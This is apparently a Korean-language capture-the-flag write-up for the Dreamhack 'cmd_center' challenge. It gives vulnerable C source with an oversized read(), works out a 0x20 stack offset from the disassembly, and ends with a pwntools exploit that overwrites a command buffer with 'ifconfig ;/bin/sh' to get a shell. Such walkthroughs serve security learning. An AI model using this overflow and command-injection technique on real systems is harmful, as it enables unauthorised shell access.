

Full RELRO, NX, PIE가 적용되어 있습니다.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main()
{
char cmd_ip[256] = "ifconfig";
int dummy;
char center_name[24];
init();
printf("Center name: ");
read(0, center_name, 100);
if( !strncmp(cmd_ip, "ifconfig", 8)) {
system(cmd_ip);
}
else {
printf("Something is wrong!\n");
}
exit(0);
}
read(0, center_name, 100)에서 스택 오버플로우가 가능해 보입니다. system(cmd_ip)에서 /bin/sh를 실행해 셸을 얻을 수 있어 보입니다. cmd_ip의 첫 8 바이트는 ifconfig가 되어야 하므로 ipconfig 뒤에 ;/bin/sh 를 추가해 셸을 얻을 수 있을 것 같습니다.
0x0000000000000916 <+105>: lea rax,[rbp-0x130]
0x000000000000091d <+112>: mov edx,0x64
0x0000000000000922 <+117>: mov rsi,rax
0x0000000000000925 <+120>: mov edi,0x0
0x000000000000092a <+125>: call 0x720 <read@plt>
center_name의 주소는 rbp-0x130,
0x000000000000092f <+130>: lea rax,[rbp-0x110]
0x0000000000000936 <+137>: mov edx,0x8
0x000000000000093b <+142>: lea rsi,[rip+0xd0] # 0xa12
0x0000000000000942 <+149>: mov rdi,rax
0x0000000000000945 <+152>: call 0x6e0 <strncmp@plt>
cmd_ip의 주소는 rbp-0x110입니다.
따라서 center_name과 cmd_ip의 오프셋은 0x20이므로 read(0, center_name, 100); 으로 cmd_ip를 수정해 셸을 얻을 수 있습니다.
아래는 작성한 코드입니다.
from pwn import *
p = remote("host3.dreamhack.games", 11161)
e = ELF("./cmd_center")
payload = b'A' * 0x20
payload += b"ifconfig ;/bin/sh"
p.sendlineafter(b"name: ", payload)
p.interactive()
실행하면 셸을 얻을 수 있습니다.
